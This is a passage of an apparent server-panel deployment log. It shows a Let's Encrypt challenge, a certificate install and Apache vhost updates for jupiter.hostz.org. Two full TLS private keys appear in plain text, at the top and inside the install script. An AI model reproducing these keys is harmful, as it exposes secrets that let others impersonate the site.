95Z7GM/L9SOHBtBuScEAdgAOV5S8866pPjMbLJkHs/eQ35vCPXEyJd0hqSWsYcVO
IQAAAZnCaJSBAAAEAwBHMEUCIGMVAdl5sHbSJFNnNAqPJh5G8j91B+0zZKnSt6oC
r9JhAiEA8lCkoJTflvKvcUlQE+yFapLdcoc96lkw/z2jraXQMCwwDQYJKoZIhvcN
AQELBQADggEBAC/cRV9J4/Z+nkv8p7+MEVz33z80b/Ps2Ea24B7EV8oyTOGhWsYk
9o6MjVxs0HO+J61TzDl1roMrs2Hgh+suPMjp4XTVIq8+/fBWZMmxrO4Ykz+sEg/p
nn+TzePbX8PeUGmfVTsQCAlROjLrgcSjyoQ6m3HGj2YvM0SSUoMvJ3snaUQ6RnX/
grAbSzLs0pNuGf32zouRcIPFH3sticfcSkIJG4WAD0+FKKibdMYt/s+mhVuBlKpF
anKRJhN4WzDglb28g7mavXpc2QBmul4GOSou3YuD5l6ImvOoLx04JKZ/pbEMOoM9
20WfEpzflFPgytZibXELc3hxjXgygp6AmfA=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCvXit1wZrQ1SJb
TxBG1pm96HKjBsasvR7cJFABYe6iApaLAtOhnD5WQU6Y30jmpwwOUC4RPm/5/SaP
x+lZ6127LYY+hzJnBtxlFRgC+RxCfH1+62fTSpGlo5ZW1wM6CbGF/xcIRcKj8xzl
jreCVBVKmi6PgW9MUqvZyK8LcwL5fDLoDhZ+3cWNLxPUp2uJuXQXXhcUqAE/cAvJ
RNbNreQ8I2GqdSwuc5YZCb2zTkThcr95kKLJdQ7xLLD41d22ahtr9YislUWRAwJI
Wd82bK8/PtncymNGeOw5I5R7OTdm06/uZhf8IEuQDyStRhxvTyogPXAKHKKUkoRE
EPSGgoeDAgMBAAECggEASnl7i27FCJr7FDvnda39bKEizgk6pnFKgcMKFww4A6WF
uVNh/OgVsRva/SEWHJ4kiI+UgM47T7cqgTUs7HsAO1WCBVv1E7veLS9gGyMf1Tx5
L0VZummYoPdwCUEWpbcoJPfIGENH/chpJTQOytJamGwSCe+2DHuvb7XCYOJfCQP5
go7sDABmWpV7a3jIV+AShjXx77FvStfMnenHxWRhh8Pnbsv2VPrQoYAujPT169x4
7J6JFb9EghwExo5dpW+LN5Ki8T3QigsVM04Rq6ivo/MyKEDRmAFLw8l13hyAsCUk
0z3H2OHk16TnC0n1GZSENrmnVrGkvt2otQ8auNdkAQKBgQDfa0oOjlxqo3kCqIEB
9Bg6scv4BXcoexH4TaDjrD9cO0jQqcgzaJSEbsN0Wqprn3NugKAVl8TOQPYD3SIz
OGQw7EFX8BnsBFQtHyogxh6oqMKPCK5WpBNAf7Wrw9p++pjSnsxzY29e/5wIKOXy
vcWLKFOzh6hxYu1aZkvu7Aj7wQKBgQDI8QZqvIOKfpxUttFjLTWyBG9jXgrQHkvC
MXttEUdSGfg6cU1WqG1UXdAcC2rxBJsfvARLE3ErjpSnWE5y5q+Ydd0BriA8aVRB
3B0Uz5MqKPdE6PrrXd0QRHSp4RIOeUY5b11ZVPo8Kxuhs/m618ldhaf4QcOhsyGs
FeqNSyGkQwKBgQCHRI8m9vxvOCBpAppxE1ekGcezl6OIZ9L+cgmqLryB3Ab/BvyG
W5goAmPmS4qI9JZP3iKOUEBA3EXXGwi82DSZBkGdu2oGYqyQUSERjMI9PUfmj8v1
+wsI7wmQQFlGrfTe+HQynI5uhvXyXsiySkGTOkxLEyRh2hJ4vBzXQCNEQQKBgGAt
PO0JncxEHX9OoZneoby68rWU5YgHeCtSk8j4ZDKfy3ftkx7PLsUawekqbd0+XyEp
VMS6YYh/jhcq5SGJ2LIYd9e+CB/iKjn7qM+1KrMbOH77JF5TZuPKYCyPVZ0n3rzO
2NdRHRR/bZJQGk+byP3CY0sn7wMOQiejtcg7FbcRAoGALcDzSl8gIV5k3Sc5QfH1
9VYCgDMg1jOWquU1b7pVI3KQdv/zCmaLjcGqKVARGHTvDElbewn4UGlJFmxENuDO
y1Z+wkiX2MkcuF5MDeFqgN17LUs1uZhGhU7bFBKpAaoj1vp8+2FhiSURfC5F25f3
eCD06+Sv48ayg/MwX8L0i9k=
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
2025-10-08 06:00:59: Establishing a connection
2025-10-08 06:00:59: Establishing a connection
2025-10-08 06:00:59:
PUT: /tmp/pkp241827
#!/bin/bash
if [ -d "/var/www/hostz_jupiter/.well-known" ]; then
echo 1
else
echo 0
fi
2025-10-08 06:01:05:
chmod 755 /tmp/pkp241827; /tmp/pkp241827; rm /tmp/pkp241827
2025-10-08 06:01:05:
1
2025-10-08 06:01:05: Establishing a connection
2025-10-08 06:01:05:
PUT: /tmp/pkp836654
#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cat > 9202tasefdlwR_MpDvLXxnQMn9bM9VqS8gLbd8p2qNk <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
9202tasefdlwR_MpDvLXxnQMn9bM9VqS8gLbd8p2qNk.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 9202tasefdlwR_MpDvLXxnQMn9bM9VqS8gLbd8p2qNk
2025-10-08 06:01:05:
chmod 755 /tmp/pkp836654; /tmp/pkp836654; rm /tmp/pkp836654
2025-10-08 06:01:06:
2025-10-08 06:01:11: Establishing a connection
2025-10-08 06:01:11:
PUT: /tmp/pkp729507
#!/bin/bash
mkdir -p "/var/www/hostz_jupiter/.well-known/acme-challenge/"
cd "/var/www/hostz_jupiter/.well-known/acme-challenge/"
rm 9202tasefdlwR_MpDvLXxnQMn9bM9VqS8gLbd8p2qNk
2025-10-08 06:01:12:
chmod 755 /tmp/pkp729507; /tmp/pkp729507; rm /tmp/pkp729507
2025-10-08 06:01:12:
2025-10-08 06:01:12: Establishing a connection
2025-10-08 06:01:12:
PUT: /tmp/pkp764808
#!/bin/bash
temp_file=$(mktemp)
TARGET=ecea81f90eb664107ec66742d2c0036d
cat > $temp_file <<'endmsg'
71:d6:17:65:7a:77:9f:e3:bc:f9:17:61:7f:0b:51:43
-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBelY4MdM2V/z0EBBy4B0WHSGMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDA4MDUwMjQwWhcNMjYwMTA2MDUwMjM5WjAcMRowGAYDVQQD
ExFqdXBpdGVyLmhvc3R6Lm9yZzCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoC
ggEBAOG6ySWE8QRUnUWNxoc/vBta93vJU390ulY8GOc4U6MxvWp44xd59IBaaKD4
v1X8WqAjdmTPWCV8pLLqA3jsVUl4kDrGcTnahXx7QswwzTL1xUJ6ODepb99owZT+
wZoG769o/xmXlujrvQCV+q5IBQrC7sVXmk8wWtGXj3RaYZklzM9XGq1Os07JMgpz
Bh3A/CHBa7ZgLs69uy8w8TDdnML1aqxFuxV9D/ViT0bCwNFRIiOw3FsAzTTkVzNm
ltzDgMr8YT2e6ITcGA1h1kBwDXtpfvoxbyAqVRPYGlkc7r4xtvH4YZ+YqyDst7CN
FPKq9WEDsUG6PDUIYFwXd7//SekCAwEAAaOCAh8wggIbMA4GA1UdDwEB/wQEAwIF
oDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH/BAIwADAd
BgNVHQ4EFgQUi4x3twhwuoYDuH52PvwTDV8CNU4wHwYDVR0jBBgwFoAUALUp8i2O
bzHom0yteD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRw
Oi8vcjEyLmkubGVuY3Iub3JnLzAcBgNVHREEFTATghFqdXBpdGVyLmhvc3R6Lm9y
ZzATBgNVHSAEDDAKMAgGBmeBDAECATAtBgNVHR8EJjAkMCKgIKAehhxodHRwOi8v
cjEyLmMubGVuY3Iub3JnLzcuY3JsMIIBAwYKKwYBBAHWeQIEAgSB9ASB8QDvAHUA
GYbUxyiqb/66A294Kk0BkarOLXIxD67OXXBBLSVMx9QAAAGZwmjIzQAABAMARjBE
AiBXZAXIDTf9lZRJGc0BZDSrcE5bKczJbbZD0803x0+73QIgTLPdWl/N+zLgNcGd
nzDbi9mw7atnNHY8bWlz8MgZ91gAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZu
RqQ/D8qpxgAAAZnCaMkeAAAEAwBHMEUCIElVJEXS0VIw3HwlgfJJ4AnzyJ8Svyv3
pXG9F7B85uaEAiEAgPkfIcgDQkE1Aj9Tly14yPZEtY1EU4G2li5MnK+Ec5YwDQYJ
KoZIhvcNAQELBQADggEBAMWgT2BX5YFq3lCamQNxlmcZ4GD7G+oAZxciU4luV0h2
wKAs8dMuZFxLr5mIGiQgDrk7udEliucg+5X7FMajjx7HLKAljnverWcTFx917duw
F3ZCe5g17Gt3nfEWK9aNz37qJfKnZ9VSEKKDn4Ul7d1eRoKYKk6TX+veuNpj6v7b
78XFJZSbHJzGQ6XHImfsGfEhVQi1/1IINNnKNlbGxl9/hiHWp2r8HhiD+y4aEmJD
IeABce2zY4frwi/kYM4nxHdF4IaFIE0gWWV2altv0q1YNBm6QdVYiu0Mb0lOIlcU
tWwFzgWlEQVrUx0miU9bwbrW8gG8xN6KuS2dcujMuAg=
-----END CERTIFICATE-----
-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDhusklhPEEVJ1F
jcaHP7wbWvd7yVN/dLpWPBjnOFOjMb1qeOMXefSAWmig+L9V/FqgI3Zkz1glfKSy
6gN47FVJeJA6xnE52oV8e0LMMM0y9cVCejg3qW/faMGU/sGaBu+vaP8Zl5bo670A
lfquSAUKwu7FV5pPMFrRl490WmGZJczPVxqtTrNOyTIKcwYdwPwhwWu2YC7Ovbsv
MPEw3ZzC9WqsRbsVfQ/1Yk9GwsDRUSIjsNxbAM005FczZpbcw4DK/GE9nuiE3BgN
YdZAcA17aX76MW8gKlUT2BpZHO6+Mbbx+GGfmKsg7LewjRTyqvVhA7FBujw1CGBc
F3e//0npAgMBAAECggEAOz36bI5ncuuCGy8KW5Sumb9WFHbSIzFPdjJvlr+Bs+Lq
A3eWoiKvuMABlb2y+a4xWrXz7KE+URhVYV9paeMcvxuVPte1/6kKP5FaBp0IPcei
7b+F4ZXmdovXwnLZ/MK1RSQZT24pfRfhkrXKBNOB/0EJyWEkboQSUc+lJrRRyQ9U
cxNvkGvDfqzaHn/fZoz7BQ+af3TGOCdAcYAU7A8sZWUxG6Pmm9p9FJUNdYplDESQ
1kps4JjiFH7up2AOEd7jMnWeku/LIycPkvQyVT+SJBJSFgs01LtFHn4Z4lj6tVlr
nt8tkQrnX9fLo0KBOdqY1ypNJ/DyfWE4na3RsYy4AQKBgQDwmqQPa3qE1ZPKBQsu
Ym/w71wLtGCtUugoFdJy8ijrSJ+iNsx61TmITYVwtqAJdSFfSCR/LDLleN0ScNhf
C4WsJq+QswqG2B9swOca9jTIsdcZl4axz0PXk8Lti2jNg8e346JMrVbi3cyl5sR2
DlTDBUI8tfJFPlyfmy7inuDHuQKBgQDwLHw7isTh4BRphOZTd/oZdHDP8oejG2zn
RS3RLMjPLWRzbkFBNQ4NvfpeSUqQ66RBJesYrDfWY6ne+wOKL1oYA+ajKt8vnyFc
kEsGZsepOmIzQGpHrQ8Qw22jY+1TvRdY8wcSj8d9zX8niFKswhtWDZliLQehfxHT
WET9caJLsQKBgQC42iZ3zlx4F9sO1+cqQOi+FDgEqhWotEy3F2TzeQdlFQvIRg+9
w3oLNXvzB+xWt83m9XdM2XlVAhHfLCGgjCqsA6DZLCVHSl6CYIZuGYCePLwE5nzO
uW3m/5hAht4DH17e8h3siTR64mtrfqusBACtQKoOGL/E4U+qNEDGTchmyQKBgQC8
zywHHwuySpehcIIlgj9SPZDmWVK6LjhKA7+GHr/q51N9z2JrYcsfkIdAEjwVe7pQ
IQAWEGWBHC6SBiF9Q8Z+9KofAfgdFuuCOklQygISjrxecDhdCra6RfhuJ4OOfivZ
mIyp0fBRfPiGWowsFhipaN15Kc9C7YNU86Kg3/FnsQKBgEK/VgnhLpxrROHjMkiC
A4BQeAMghPoltXfcch4FvSGw1W88C0B11HYjX64ScSZVc3M2j0B3bBEUJT3NYo8k
vXQpCl1u28NKT3B1klR9anBwGK7IvkopmFoiTS7aIr5N3BPS/yY6TfifOcYmkro+
/t9kmN73WcC4ulm1urDmQkJI
-----END PRIVATE KEY-----
-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----
endmsg
chmod 640 $temp_file
if [ -d "/etc/pki/tls/certs" ]; then
cp $temp_file /etc/pki/tls/certs/$TARGET
echo dir=/etc/pki/tls/certs/
elif [ -d "/etc/ssl/certs" ]; then
cp $temp_file /etc/ssl/certs/$TARGET
echo dir=/etc/ssl/certs
else
echo dir=
fi
rm $temp_file
2025-10-08 06:01:12:
chmod 755 /tmp/pkp764808; /tmp/pkp764808; rm /tmp/pkp764808
2025-10-08 06:01:12:
dir=/etc/ssl/certs
2025-10-08 06:01:12:
PUT: /tmp/pkp963771
#!/bin/bash
# download changed files, then zip.
APACHE_ROOT=/etc/apache2
BOUNDARY=----boundary-6506b6c63ab0478b95fb419cca0e56fb----
cd $APACHE_ROOT
temp_file=$(mktemp)
show_file() {
echo $BOUNDARY >> $temp_file
if [ -f "$1" ]; then
FILESIZE=$(stat -c%s "$1")
echo $1 $FILESIZE >> $temp_file
cat $1 >> $temp_file
else
echo $1 0 >> $temp_file
fi
echo >> $temp_file
}
show_file "/etc/apache2/sites-enabled/hostz_jupiter_org.conf"
gzip -cn9 $temp_file
rm $temp_file
2025-10-08 06:01:12:
chmod 755 /tmp/pkp963771; /tmp/pkp963771; rm /tmp/pkp963771
2025-10-08 06:01:12:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf 41
<VirtualHost *:80>
ServerName jupiter.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_jupiter
<Directory /var/www/hostz_jupiter>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/jupiter_access.log combined
ErrorLog /var/log/apache2/hostz/jupiter_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName jupiter.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_jupiter
<Directory /var/www/hostz_jupiter>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/jupiter_secure_access.log combined
ErrorLog /var/log/apache2/hostz/jupiter_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
2025-10-08 06:01:12:
PUT: /tmp/pkp376502
#!/bin/bash
temp_file=$(mktemp)
BASE=/etc/apache2
BASENAME=hostz_jupiter_org.conf
TARGET=/etc/apache2/sites-enabled/hostz_jupiter_org.conf
DOCROOT=-
PUBLIC=
cat > $temp_file <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
<VirtualHost *:80>
ServerName jupiter.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_jupiter
<Directory /var/www/hostz_jupiter>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/jupiter_access.log combined
ErrorLog /var/log/apache2/hostz/jupiter_error.log
SetEnv pkp_uid 4
SetEnv pkp_owner phil
RewriteEngine On
RewriteCond %{REQUEST_METHOD} !POST
RewriteRule ^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>
<VirtualHost *:443>
ServerName jupiter.hostz.org
ServerAdmin do_not_email@example.com
SSLEngine on
SSLProtocol all -SSLv2
SSLCipherSuite ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
SSLCertificateFile /etc/ssl/certs/ecea81f90eb664107ec66742d2c0036d
DocumentRoot /var/www/hostz_jupiter
<Directory /var/www/hostz_jupiter>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/jupiter_secure_access.log combined
ErrorLog /var/log/apache2/hostz/jupiter_secure_error.log
SetEnv pkp_uid
SetEnv pkp_owner
</VirtualHost>
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 644 $temp_file
cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
mkdir -p
mkdir -p $DOCROOT/$PUBLIC
chown -R : $DOCROOT
ln -s "..//etc/apache2/sites-enabled/hostz_jupiter_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
echo 'link(/etc/apache2/sites-enabled/hostz_jupiter_org.conf)= /etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf'
echo 'file(/etc/apache2//etc/apache2/sites-enabled/hostz_jupiter_org.conf= 1'
fi
2025-10-08 06:01:12:
chmod 755 /tmp/pkp376502; /tmp/pkp376502; rm /tmp/pkp376502
2025-10-08 06:01:12:
2025-10-08 06:01:12:
PUT: /tmp/pkp953069
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl graceful
fi
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
export HOMEBREW_NO_INSTALL_FROM_API=1
brew services restart httpd
fi
echo .
2025-10-08 06:01:12:
chmod 755 /tmp/pkp953069; /tmp/pkp953069; rm /tmp/pkp953069
2025-10-08 06:01:13:
.
2025-10-08 06:01:13: Establishing a connection
2025-10-08 06:01:13:
PUT: /tmp/pkp948350
#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
/usr/sbin/apachectl -S
fi
echo .
2025-10-08 06:01:13:
chmod 755 /tmp/pkp948350; /tmp/pkp948350; rm /tmp/pkp948350
2025-10-08 06:01:13:
VirtualHost configuration:
*:80 is a NameVirtualHost
default server jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost jupiter (/etc/apache2/sites-enabled/000-default.conf:3)
port 80 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:2)
alias www.aletheiacollege.net
port 80 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:2)
alias www.christadelphia.net
port 80 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:2)
alias www.gospelstudies.net
port 80 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:2)
alias www.heaster.org
port 80 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:2)
port 80 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:2)
alias www.hristadelfiane.org
port 80 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:2)
alias www.osnovybiblii.info
port 80 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:2)
alias www.realdevil.info
*:443 is a NameVirtualHost
default server aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
port 443 namevhost aletheiacollege.net (/etc/apache2/sites-enabled/aletheiacollege_www_net.conf:23)
alias www.aletheiacollege.net
port 443 namevhost christadelphia.net (/etc/apache2/sites-enabled/christadelphia_www_net.conf:23)
alias www.christadelphia.net
port 443 namevhost gospelstudies.net (/etc/apache2/sites-enabled/gospelstudies_www_net.conf:23)
alias www.gospelstudies.net
port 443 namevhost heaster.org (/etc/apache2/sites-enabled/heaster_www_org.conf:23)
alias www.heaster.org
port 443 namevhost jupiter.hostz.org (/etc/apache2/sites-enabled/hostz_jupiter_org.conf:22)
port 443 namevhost hristadelfiane.org (/etc/apache2/sites-enabled/hristadelfiane_www_org.conf:23)
alias www.hristadelfiane.org
port 443 namevhost osnovybiblii.info (/etc/apache2/sites-enabled/osnovybiblii_www_info.conf:23)
alias www.osnovybiblii.info
port 443 namevhost realdevil.info (/etc/apache2/sites-enabled/realdevil_www_info.conf:23)
alias www.realdevil.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex default: dir="/var/run/apache2/" mechanism=default
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.
2025-10-08 06:01:13:
PUT: /tmp/pkp180733
#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')
def show_file(filename):
if os.path.isfile(filename):
f = open(filename, 'r')
sz = os.path.getsize(filename)
content = f.read()
payload = BOUNDARY + "\n"
gz.write(payload.encode('cp437'))
payload = filename + "\t" + str(sz) + "\n"
gz.write(payload.encode('cp437'))
payload = content + "\n"
gz.write(payload.encode('cp437'))
gz.write("\n".encode('cp437'))
f.close()
try:
show_file('/etc/apache2/sites-enabled/hostz_jupiter_org.conf')
finally:
gz.close();
sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
data = f.read()
sys.stdout.write(data.decode('latin-1'))
f.close()
os.remove(jones.name)
2025-10-08 06:01:13:
chmod 755 /tmp/pkp180733; /tmp/pkp180733; rm /tmp/pkp180733
2025-10-08 06:01:13:
(gzipped output)
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/hostz_jupiter_org.conf 1307
<VirtualHost *:80>
ServerName jupiter.hostz.org
ServerAdmin do_not_email@example.com
DocumentRoot /var/www/hostz_jupiter
<Directory /var/www/hostz_jupiter>
Options +FollowSymLinks -MultiViews
AllowOverride All
Order allow,deny
allow from all
</Directory>
CustomLog /var/log/apache2/hostz/jupiter_access.log combined
